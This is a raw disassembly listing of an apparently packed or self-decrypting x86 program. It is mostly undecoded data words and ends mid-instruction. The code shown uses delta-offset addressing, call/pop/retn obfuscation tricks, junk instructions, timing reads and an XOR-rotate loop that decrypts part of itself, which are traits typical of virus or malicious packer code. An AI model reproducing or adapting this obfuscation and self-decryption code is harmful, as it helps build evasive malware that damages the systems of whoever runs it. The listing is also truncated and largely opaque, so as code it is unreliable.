6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4FCB1C3h dd 0F5605A5Eh, 2810Fh, 0D18B0000h, 0D19D8B61h, 83061533h dd 15089DBDh, 840F0006h, 18h, 7E9h, 0E6505D00h, 87ED7281h dd 237595FFh, 9D890615h, 6152869h, 9D23C08Bh, 615226Dh dd 2D01BD89h, 0BD830615h, 61508F5h, 83097500h, 1503ADBDh dd 1A740006h, 0C08B5350h, 2A1858Bh, 85890615h, 61502A1h dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50187400h dd 0A1858B53h, 89061502h, 1502A185h, 0A69D8D06h, 0FF0617A7h dd 6A585BD3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 9F6DC351h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF6D5582h, 0BBE40734h dd 6810F52h, 31000000h, 1528B195h, 0EE95B06h, 92000000h dd 948E189h, 0C9E9A78Dh, 0BD924586h, 6AC08B55h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0B3ADC350h, 78F6BBAAh, 0BD832635h, 615111Dh, 7D840F00h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 12B4C350h, 81B91087h, 431F5343h dd 6E960h, 0E0420000h, 0E1436F5Ah, 0EDBD8361h, 206150Bh dd 35840Fh, 0BD830000h, 6150045h, 28850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 813AC355h, 9D8B597Eh, 6152215h, 60FDC780h dd 7AAB61BBh, 0A1F6803Ah, 4F0F8D8Bh, 95890615h, 61520B1h dd 0FE5BDA80h, 0A8F38001h, 26135068h, 81D98BE6h, 0ED302404h dd 6A19D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 721E65C3h, 11E914h, 22860000h, 0FF28EC2Bh dd 9E8770B8h, 16E28D32h, 6A167D5Ch, 9E8FFh, 6BF10000h dd 7D04F832h, 8B72300Eh, 1528A99Dh, 95FF5A06h, 615248Dh dd 2F359D8Bh, 6A610615h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0BAB8C351h, 7BBC67F2h dd 958BD911h, 6151379h, 5E1BD8Dh, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FC0AAC3h dd 681h, 3D958B00h, 8B061507h, 81661C4Fh, 6A075ACBh, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0FA5A1D27h, 0F3BA9B74h, 0D7E280A6h, 10E96050h, 46000000h dd 0AAF878F8h, 22369F09h, 6A323DFBh, 8B645503h, 0C8961C8h dd 0A9852924h, 0F061525h, 858DDBBFh, 6183736h, 0D0FF0CB2h dd 8B1DF780h, 6AF8204Fh, 99958B03h, 5006152Ah, 52505250h dd 310F5A53h, 8D9D15BBh, 0F585A67h, 1ABB6631h, 89585AE4h dd 6A240Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 524B0DC3h, 13A7176Ch, 0D08B89EAh, 0BB99D8Bh dd 858D0615h, 6183736h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 1DC35545h, 60D0FFF8h, 188C0Fh, 13E90000h dd 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h dd 8D61C276h, 1505E1BDh, 659D2B06h, 8B06152Ch, 0BAB31C4Fh dd 50F5016Ah, 0E85F5660h, 10h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh dd 6A4B655Ah, 6159C88Bh, 80240C89h, 858D56EEh, 6183736h dd 5880Fh, 81660000h, 0FF10B6EBh, 0DAB70FD0h, 66204F8Bh dd 9B72CA81h, 8B66036Ah, 0E5BB50D9h, 89123FC5h, 9589240Ch dd 6151299h, 3736858Dh, 0D78B0618h, 56C38166h, 50D0FFCDh dd 33E99D8Bh, 815B0615h, 4320B2E3h, 0F8D8B53h, 8B06154Fh dd 15192995h, 0F01FE06h, 18Fh, 858BF500h, 6154F0Fh, 6890Fh dd 9D8B0000h, 6150885h, 1335958Bh, 0FE0615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C1C35545h, 0E53579C4h dd 0D023CB8Dh, 9D8B016Ah, 6150E11h, 0A2AAF168h, 18F8BBDEh dd 481394Ah, 5CF50E24h, 3D9D8921h, 8D061517h, 18374085h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 7D20953Fh, 377BAA32h, 958B11A0h, 6152399h dd 8D89D0FFh dd 6152A2Dh, 2975BD83h, 0F000615h, 10684h, 85895000h, 6152A99h dd 0B5BD835Bh, 106152Dh, 0F1850Fh, 0BB660000h, 8D8DF682h dd 618374Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 82C35040h, 8AC9D663h, 0C28166D3h, 36A4216h, 850Fh dd 16A0000h, 2395958Bh, 0D1FF0615h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 3DC35242h, 8459307Bh, 0E381DDBEh dd 4DE057A4h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 17E6FEC3h, 5890Fh, 99BB0000h, 6A22D915h dd 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 71BB8162h, 0FF3C9441h, 138B0FD1h, 0F000000h dd 0D82h, 7E800h, 0C0350000h, 0E672F01Bh, 3EE85AD3h, 0E9FA466Dh dd 13h, 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 6A4B55B8h dd 0D6B70F20h, 0BF0FFF6Ah, 8D95FFD1h, 66061524h, 0B80E56BBh dd 0 ; --------------------------------------------------------------------------- add bx, 419Eh or eax, eax jz loc_5803F6 mov bl, 0B2h cmp dword ptr [ebp+6152679h], 0 jz loc_5803F6 push 0 push esi call loc_5803CF and [esi-3Dh], bl loc_5803CF: ; CODE XREF: sub_57DD3A+268Dp pop esi mov [esp+40h+var_3E+2], esi add [esp+40h+var_3E+2], 1Bh inc esi push esi retn ; --------------------------------------------------------------------------- db 0C1h dd 0DA160879h, 0F90CAF4h, 95FFDFB7h, 6153401h, 355DF281h db 0CAh, 26h ; --------------------------------------------------------------------------- loc_5803F6: ; CODE XREF: sub_57DD3A+2675j ; sub_57DD3A+2684j mov eax, [ebp+6152849h] push esi mov dx, di pop ebx mov byte ptr [eax], 0 push 0 push edi call loc_58040F and [edi-3Dh], bl loc_58040F: ; CODE XREF: sub_57DD3A+26CDp pop edi mov [esp+40h+var_3E+2], edi add [esp+40h+var_3E+2], 16h inc edi push edi retn ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- pop ebp or [ecx+15165185h], cl push es pop eax mov dx, 97A1h mov cx, ds jno loc_58043C or [ebp+61517A9h], edi loc_58043C: ; CODE XREF: sub_57DD3A+26F6j adc ebx, 45BAEE98h test cl, 4 jz loc_580490 mov ebx, [ebp+615019Dh] jmp loc_580490 ; --------------------------------------------------------------------------- sub dl, 67h jmp loc_580466 ; --------------------------------------------------------------------------- dw 0EDB6h dd 47017783h db 30h, 35h ; --------------------------------------------------------------------------- loc_580466: ; CODE XREF: sub_57DD3A+271Fj mov esi, [ebp+6150B8Dh] or [ebp+6152C65h], ebx add esi, 1180h add ebx, [ebp+6150D35h] mov edx, [ebp+6152829h] mov dword ptr [esi], 0 mov [ebp+6152E45h], edx loc_580490: ; CODE XREF: sub_57DD3A+270Bj ; sub_57DD3A+2717j pop esi push 0 push ecx call loc_58049C and [ecx-3Dh], bl loc_58049C: ; CODE XREF: sub_57DD3A+275Ap pop ecx mov [esp+3Ch+var_3A+2], ecx add [esp+3Ch+var_3A+2], 1Dh inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 98D404E1h, 0E695FDA3h, 5156C8BCh, 18B9958Bh, 5B5B0615h dd 0F00F883h, 0AA784h, 8166F500h, 8354A8E3h, 850F01F8h dd 1C4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0C4C35040h, 0B8FC8Ah, 66000000h, 9589D78Bh, 61515F5h dd 840FC00Bh, 0FAh, 2639B531h, 0F8830615h, 1C840F01h, 8B000001h dd 1508D595h, 0CA816606h, 0F8832995h, 78840F03h, 8B000000h dd 152DF595h, 6AC02B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F560C351h, 6890Fh dd 0B5890000h, 6152A65h, 89E0BD8Dh, 8052005Bh, 0FF5A9CD7h dd 52006AE7h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 95E6DCBFh, 0A5E59D91h, 0F38166D5h, 0CE990A7h dd 30000000h, 2A5D9C45h, 3263FE6Dh, 0B8DC4400h, 1, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7DC35141h, 46FF1657h dd 0E1D3304h, 899D8B90h, 0B2061527h, 0E0BD8DC3h, 6A005B89h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 29F5C355h, 1519219Dh, 66E7FF06h, 0BD8DDA8Bh dd 615459Bh, 0AE9h, 0F78F3A00h, 940E593Ah, 0E9C7E3B3h dd 25Dh, 12E9h, 2A390A00h, 63E52BE1h, 3686E823h, 117C2D4Bh dd 0C7E00554h, 154F6A85h, 506h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 93998E26h dd 995C92AAh, 619D89E1h, 0B8061506h, 5, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0BBC35242h, 5267489Fh dd 873E930h, 0F2810000h, 38353A3Ah, 0F02F883h, 0C185h dd 24EF8000h, 0B8h, 0D0B70F00h, 840FC00Bh, 90h, 148D0Fh dd 8E80000h, 0EB000000h, 0C963EB2Ah, 89D9E148h, 1528559Dh dd 0F8835A06h, 5C840F01h, 8BFFFFFFh, 151D1195h, 3F88306h dd 0FEBD840Fh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 96D52AC3h, 0D87BE5B3h, 0B888h, 9ABA0000h dd 8D565D5Ch, 5B89E0BDh, 0D68B6600h, 14E8h, 29027100h dd 330D7494h, 5BB98AB4h, 9284FDE0h, 0A99914A6h, 5DBD89A2h dd 5B061517h, 0B589E7FFh, 6152395h, 4793BD8Dh, 6E90615h dd 0F0000000h, 0D87ACF98h, 11FE9F1h, 81560000h, 57078BC2h dd 0F8835B24h, 54850F03h, 0F000000h, 0BD8DD3BFh, 6154927h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h dd 343E0AB0h, 0D08B6684h, 0DCE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 117C2D4Bh dd 83E00554h, 850F05F8h, 7, 36E9D08Bh, 83000007h, 850F06F8h dd 46h, 0BD8DD88Bh, 6154B1Fh, 0DE960h, 50060000h, 89FBDE49h dd 0E47CCAB8h, 61E868DEh, 80E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2DC519EAh dd 65D5B306h, 0F883F1BCh, 25850F07h, 8A000000h, 95BD8DF1h dd 0F06151Eh, 68Eh, 39950300h, 0E9061505h, 0D0h, 7E9h dd 0A774A600h, 4E783EE6h, 0F0AF883h, 2485h, 0B890F00h dd 0E9000000h, 6, 0C2842DE3h, 0BD8D4EF3h, 6154D17h, 262D9501h dd 2E90615h, 0B7000000h, 0DE95749h, 0A8000000h, 0C1B9D08Dh dd 71F070EBh, 3C9D7EDDh, 767ED4B9h, 0CD8D8932h, 8306152Fh dd 840F003Fh, 5Ch, 81D7B70Fh, 5FC03EDAh, 660F301Fh, 0D16EFABAh dd 0F5958BC9h, 8B06152Fh, 1522F19Dh, 0D78B4706h, 3830Fh dd 0EE800000h, 0FFC9E975h, 6AFFFFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B65D0AC3h dd 0AE9D6h, 38220000h, 4962CCBh, 0D33FCF03h, 0EE95Fh, 193E0000h dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 4F13BD89h, 9D8B0615h dd 6152569h, 9F99503h, 8D8D0615h, 6151395h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AAC35646h, 0B9D33E63h dd 72C4E4F2h, 266DBD29h, 0B5FF0615h, 6152669h, 8159D03h dd 858D0615h, 617A3E1h, 16BD8D50h, 8D061556h, 156F4D8Dh dd 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h, 6ED1B58Dh dd 8D8D0615h, 6156F65h, 0A4F3CF2Bh, 0B8C933h, 0B000000h dd 834674C0h, 152679BDh, 6740006h, 340195FFh, 0B58B0615h dd 6154F13h, 0A3E1858Dh, 0D0FF0617h, 4370858Dh, 0D0FF0615h dd 7A985C7h, 10615h, 0A58B0000h, 6152D85h, 2AA5B58Bh, 0AD8B0615h dd 61527E5h, 0CC2C033h, 43F3BB00h, 0B70F39C5h, 69B589D7h dd 83061517h, 1511C1BDh, 840F0006h, 0Eh, 95FFE5B2h, 6152B11h dd 27419589h, 0BD830615h, 6151E01h, 0ED850F00h, 0E9000001h dd 7, 10B764E5h, 315C9E49h, 150531BDh, 0B5BD8306h, 106152Dh dd 1CE850Fh, 0C7800000h, 9BD83D1h, 61516h, 1BE840Fh, 0BE90000h dd 43000000h, 6892DE0Eh, 1C77B88Ch, 0BD837EE4h, 6154F66h dd 0A1840F00h, 8B000001h, 15097995h, 0E1858D06h, 6A0617A3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 72B3C351h, 0B59BC557h, 0BC040921h, 4B3A4CBBh dd 3FD68055h, 4F13B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 59ED84C3h, 5D5DA15Fh dd 2D81958Bh, 0D0FF0615h, 0C6DEB70Fh, 1509C585h, 830F5406h dd 6, 0E7F6DB81h, 0CE680C7Ah, 66D4085Eh, 481D88Bh, 46602624h dd 52006A2Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 839E26FAh, 0F683F5Eh, 0B5FFD6B7h, 6151685h dd 8DD1BF0Fh, 153B3885h, 10E906h, 0D6990000h, 0E36FFA77h dd 0F4C9B7E3h, 0E469EA73h, 0D0FF1CF5h, 44CB8166h, 89006A69h dd 151DDDBDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CC38C356h, 0E4BF913h dd 0FFD8BF0Fh, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 11E9609Fh, 8E000000h dd 505B4917h, 0B940634h, 0C839D832h, 4F137A00h, 61F6BF0Fh dd 28ADB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0DE4CC3h, 0AB2746B0h, 1D08B41h dd 1527998Dh, 6995FF06h, 6A061526h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0C321C350h dd 852995E0h, 615193Dh, 4F13B58Bh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 3994BCC3h dd 8F4104Ch, 873FD5BAh, 8529C377h, 6151E0Dh, 2849B58Bh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0B3F6B8C3h, 8E6F2FC5h, 601BD380h, 0BE861h dd 523A0000h, 0D361E4E5h, 4CE4FA6Ah, 3C34BBCDh, 0B5A31A8h dd 3D840FF6h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 2F70C351h, 0E18529A0h dd 29061516h dd 15255D85h, 6C606h, 5F526050h, 0BB19BA66h, 95895B61h dd 6152469h, 4F1B8589h, 0EE90615h, 3E000000h, 2F34F7B9h dd 0DC05C8A4h, 872927A4h, 0F88331h, 28A840Fh, 8B560000h dd 150AE995h, 0B85B06h, 8B000000h, 150E2195h, 0D0BF0F06h dd 0F00F883h, 0C284h, 0E5950900h, 83061518h, 850F02F8h dd 83h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 0C9C35040h, 0D73758B9h, 0B3217F3Eh, 86AC381h, 858D0F0Dh dd 6154596h, 66EABA66h, 9292Dh, 6D9D8B00h, 90061510h, 5050D38Bh dd 0F98A5252h, 5A310F5Bh, 6A9058h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 4BFA1BC3h, 9AFB91h, 2AF59529h dd 95230615h, 6152875h, 0B18589C3h, 0B806150Ah, 0 dd 14E8h, 99B16D00h, 744976ECh, 0A4D634A0h, 60C8081h, 0CB64393Ch dd 65950998h, 5A061507h, 1AFE9h, 0B99D2B00h, 0B806150Bh dd 1, 0CE9h, 23FD3900h, 1A610D62h, 937A801Fh, 9BBD8D9Dh dd 6A061545h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 253AC355h, 0C7553C42h, 0AB34E372h dd 0E9D2BF0Fh, 77h, 2A559D8Bh, 7E90615h, 22000000h, 0A5ED581Fh dd 0F883FF6Dh, 1E850F02h, 23000000h, 152AE19Dh, 93BD8D06h dd 0FC061547h, 4AE9h, 6800F00h, 0B000000h, 1533A59Dh, 3F88306h dd 1B850Fh, 9D890000h, 6152FC1h, 4927BD8Dh, 9D290615h dd 61503D5h, 1EE9h, 6CBA6600h, 5F8837Eh, 11850Fh, 958B0000h dd 6153431h, 88E9h, 999D8B00h, 57061517h, 2E598D89h, 0D08B0615h dd 767ED4B9h, 53006A32h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0FFE2A54h, 689h, 4D850900h, 83061517h dd 840F003Fh, 41h, 0E870Fh, 9E90000h, 72000000h, 4F965932h dd 871517FAh, 9D8B0F30h, 6152EB9h, 0BD29C9D1h, 6152619h dd 0D8DBD89h, 0F470615h, 68Ah, 0F9B58900h, 0E906150Fh dd 0FFFFFFBBh, 877446BBh, 5F8830Bh, 5E850Fh, 0B70F0000h dd 0D98C66DBh, 0F63DC280h, 850F04C1h, 34h, 0B8DFB70Fh dd 0 ; --------------------------------------------------------------------------- push esi mov dx, 0EE92h pop ebx jmp loc_580F70 ; --------------------------------------------------------------------------- push 0 push ebp call loc_580F42 and [ebp-3Dh], bl loc_580F42: ; CODE XREF: sub_57DD3A+3200p pop ebp mov [esp+40h+var_3E+2], ebp add [esp+40h+var_3E+2], 14h inc ebp push ebp retn ; --------------------------------------------------------------------------- or al, 66h sub ebx, 858BC7C8h xor [esi], ecx adc eax, 0E0BA6606h mov esi, 6053E0FFh mov ah, 5Fh mov ebx, [ebp+6150D65h] popa pop ebx loc_580F70: ; CODE XREF: sub_57DD3A+31F8j cmp dword ptr [ebp+6152669h], 0 jnz loc_58106B or dl, 3Bh push eax push eax mov edx, ecx pop ebx mov [esp+24h+var_26+2], eax push 0 push ebp call loc_580F93 and [ebp-3Dh], bl loc_580F93: ; CODE XREF: sub_57DD3A+3251p pop ebp mov [esp+24h+var_22+2], ebp add [esp+24h+var_22+2], 1Ch inc ebp push ebp retn ; --------------------------------------------------------------------------- db 43h dd 0E2EDAF7Ch, 0B7B45EB6h, 1775958Bh, 85C60615h, 61509C5h dd 4E845h, 69690000h, 96B28E72h, 8BD98B50h, 0F042444h dd 28Ch, 8BFCB600h, 0CE800h, 3EC80000h, 962F76EAh, 3B5BEAD5h dd 12E99E9Eh, 97000000h, 0DE3CDD0Fh, 1E904D70h, 5D7D4D37h dd 602DA7C1h, 44895B8Ch, 0F560424h, 48Ah, 0C9BA6600h, 0B585A31h dd 1516F195h, 85B5FF06h, 0E8061516h, 12h, 3F79DE17h, 0B1A86CDDh dd 0BE761B4Eh, 8DB4ADFh, 0C680DC58h, 858D5A83h, 6153B38h dd 8BD0FFF8h, 698589DEh, 6A061526h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7153C357h dd 0B1958B58h ; --------------------------------------------------------------------------- and al, 15h push es loc_58106B: ; CODE XREF: sub_57DD3A+323Dj cmp dword ptr [ebp+6154F6Ah], 0 jz loc_58109A add bl, 90h push dword ptr [ebp+61528ADh] mov dx, cx call dword ptr [ebp+6152669h] or [ebp+6152479h], eax jmp loc_58109A ; --------------------------------------------------------------------------- mov eax, ds:9B9F84E8h loc_58109A: ; CODE XREF: sub_57DD3A+3338j ; sub_57DD3A+3356j cmp eax, 0 jnz loc_5811E0 push 0 push ecx call loc_5810AE and [ecx-3Dh], bl loc_5810AE: ; CODE XREF: sub_57DD3A+336Cp pop ecx mov [esp+2Ch+var_2A+2], ecx add [esp+2Ch+var_2A+2], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- lahf pop es sub [edi+6685F945h], esp mov ebx, ecx mov [ebp+6150301h], esi cmp dword ptr [ebp+6150A01h], 0 jz loc_581148 ja loc_5810E3 mov bh, 20h loc_5810E3: ; CODE XREF: sub_57DD3A+33A1j mov ebx, [ebp+6151C9Dh] push dword ptr [ebp+6150A01h] call loc_581108 lodsb jnz short loc_58111A fidivr dword ptr [edi+68685E42h] retn 68EFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 19h, 0CCh, 2 dd 692F6F36h ; --------------------------------------------------------------------------- loc_581108: ; CODE XREF: sub_57DD3A+33B5p call loc_581112 stosd sub [esi+ebx*8], dh clc loc_581112: ; CODE XREF: sub_57DD3A:loc_581108p clc pop ebx pop edx mov eax, 1 loc_58111A: ; CODE XREF: sub_57DD3A+33BBj mov edx, [ebp+6151095h] jmp loc_5813BF ; --------------------------------------------------------------------------- push 0 push edi call loc_581130 and [edi-3Dh], bl loc_581130: ; CODE XREF: sub_57DD3A+33EEp pop edi mov [esp+24h+var_22+2], edi add [esp+24h+var_22+2], 15h inc edi push edi retn ; --------------------------------------------------------------------------- cmpsd pop es and ebx, [ebp+61509C9h] loc_581148: ; CODE XREF: sub_57DD3A+339Bj push dword ptr [ebp+61528ADh] push 0 push ecx call loc_581159 and [ecx-3Dh], bl loc_581159: ; CODE XREF: sub_57DD3A+3417p pop ecx mov [esp+2Ch+var_2A+2], ecx add [esp+2Ch+var_2A+2], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- db 0C7h, 0FDh, 51h dd 749A87ACh, 0CE9h, 0E6E93A00h, 0C566DA58h, 41C9764h dd 0CE821h, 32270000h, 0DF1F7FFCh, 79D5EFE5h, 87BA4744h dd 5B3EEA15h, 28ADB5FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 20841BC3h, 0B5FF8A92h dd 6152669h, 0F4E9B8B6h, 0E8000001h, 6, 0AFAAEEECh, 9D897B2Bh dd 6151691h, 0E0DA805Ah ; --------------------------------------------------------------------------- loc_5811E0: ; CODE XREF: sub_57DD3A+3363j pop edi push 0 push ecx call loc_5811EC and [ecx-3Dh], bl loc_5811EC: ; CODE XREF: sub_57DD3A+34AAp pop ecx mov [esp+28h+var_26+2], ecx add [esp+28h+var_26+2], 17h inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 79E1E874h, 6D5BD83h, 0F000615h, 0E385h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9FB5EE7h, 40C38166h, 12E932h, 0B300000h, 672A0FEEh dd 20841BE4h, 0CD578A92h, 5DF18ECEh, 9C585C6h, 6A4D0615h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0CDDBC355h, 1621D88Ah, 858921D1h, 61526D9h dd 0FACA8166h, 4E833h, 76A80000h, 6650A435h, 448BD68Bh dd 8B0424h, 8F0F5250h, 3, 0FD88B66h, 8B0F5331h, 0 dd 89585A5Ah, 66042444h, 8B58D18Bh, 150C9995h, 0F59D8906h dd 0FF06152Ah, 150789B5h, 858DFC06h, 6153B38h, 68C0Fh dd 958B0000h, 6152625h, 8B60D0FFh, 15156D95h, 85896106h dd 61506D5h, 68A0Fh, 9D290000h, 6152DB1h, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 3DCB67D7h, 0F537B2C2h, 4F13BD89h, 0E6800615h, 0FC00BFCh dd 2884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 94561504h, 71E99Bh, 0B70F0000h, 69B5FFD2h dd 29061526h, 150701BDh, 0E1858D06h, 6A0617A3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0AE0BC355h, 97202FF0h, 503EEF48h, 13E8h, 92BFAA00h dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh, 6E95250h dd 2F000000h, 0A60B88FBh, 8B310F73h, 5B585ADEh, 8B240489h dd 15340595h ; --------------------------------------------------------------------------- push es mov ebx, esi loc_5813BF: ; CODE XREF: sub_57DD3A+33E6j push eax push esi lea edi, [ebp+6155616h] lea ecx, [ebp+61579A5h] mov eax, 748323BCh sub ecx, edi loc_5813D4: ; CODE XREF: sub_57DD3A+36A0j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_5813D4 pop esi pop eax cmp dword ptr [ebp+6150A01h], 0 jz short loc_5813ED mov ecx, [ebp+6151A51h] loc_5813ED: ; CODE XREF: sub_57DD3A+36ABj xor ecx, ecx mov eax, 0 or eax, eax jz loc_5814A4 cmp dword ptr [ebp+6152679h], 0 jz short loc_58140B call dword ptr [ebp+6153401h] loc_58140B: ; CODE XREF: sub_57DD3A+36C9j mov eax, 0 or eax, eax jnz short loc_58141D cmp dword ptr [ebp+6154F1Bh], 1 jz short loc_581426 loc_58141D: ; CODE XREF: sub_57DD3A+36D8j cmp dword ptr [ebp+6154F1Bh], 2 jnz short loc_581434 loc_581426: ; CODE XREF: sub_57DD3A+36E1j mov esi, [ebp+6154F13h] lea eax, [ebp+617A3E1h] call eax loc_581434: ; CODE XREF: sub_57DD3A+36EAj cmp dword ptr [ebp+61511C1h], 0 jz short loc_581443 call dword ptr [ebp+6152B11h] loc_581443: ; CODE XREF: sub_57DD3A+3701j lea eax, [ebp+6154370h] call eax cmp dword ptr [ebp+6150BEDh], 2 jnz short loc_581483 mov esp, [ebp+6152D85h] mov eax, [ebp+6150A01h] mov [esp+28h+var_2A+2], eax mov dword ptr [ebp+61507A9h], 1 mov esi, [ebp+6154F17h] mov ebp, [ebp+61527E5h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_581483: ; CODE XREF: sub_57DD3A+3718j mov dword ptr [ebp+61507A9h], 1 mov esp, [ebp+6152D85h] mov esi, [ebp+6152AA5h] mov ebp, [ebp+61527E5h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_5814A4: ; CODE XREF: sub_57DD3A+36BCj cmp dword ptr [ebp+61511C1h], 0 jz short loc_5814BC cmp dword ptr [ebp+6152B11h], 0 jz short loc_5814BC call dword ptr [ebp+6152B11h] loc_5814BC: ; CODE XREF: sub_57DD3A+3771j ; sub_57DD3A+377Aj mov esi, [ebp+6154F13h] retn ; --------------------------------------------------------------------------- push 0 push ecx call loc_5814CE and [ecx-3Dh], bl loc_5814CE: ; CODE XREF: sub_57DD3A+378Cp pop ecx mov [esp+28h+var_26+2], ecx add [esp+28h+var_26+2], 1Ah inc ecx push ecx retn ; --------------------------------------------------------------------------- dw 0E78Eh dd 7A322D39h, 0E9DF8B2Dh, 13h, 949B5E07h, 0D5259F8Eh, 7492F2C7h dd 0CA1A6A73h, 0BB8928C6h, 620CD2DEh, 6AD22Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0D4B3D7C3h, 2AF1A579h, 0DF8B2469h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_58153C ; --------------------------------------------------------------------------- loc_58153A: ; CODE XREF: sub_57DD3A+3805j inc eax inc edi loc_58153C: ; CODE XREF: sub_57DD3A+37FEj cmp byte ptr [edi], 0 jnz short loc_58153A xor ecx, ecx mov edi, [ebp+8] jmp short loc_58156B ; --------------------------------------------------------------------------- loc_581548: ; CODE XREF: sub_57DD3A+3833j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_581560 ; --------------------------------------------------------------------------- loc_58155D: ; CODE XREF: sub_57DD3A+3829j mul ebx dec esi loc_581560: ; CODE XREF: sub_57DD3A+3821j cmp esi, 0 ja short loc_58155D pop ebx add ecx, eax pop eax inc edi dec eax loc_58156B: ; CODE XREF: sub_57DD3A+380Cj or eax, eax jnz short loc_581548 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- pusha push ecx movzx ecx, cx pop ecx mov edx, [ebp+6150301h] popa push esi sub [ebp+6152279h], edx pop ebx pusha push eax movsx ebx, di pop ecx or edi, [ebp+6152835h] popa loc_58159B: ; CODE XREF: sub_57DD3A:loc_57E99Dj mov eax, 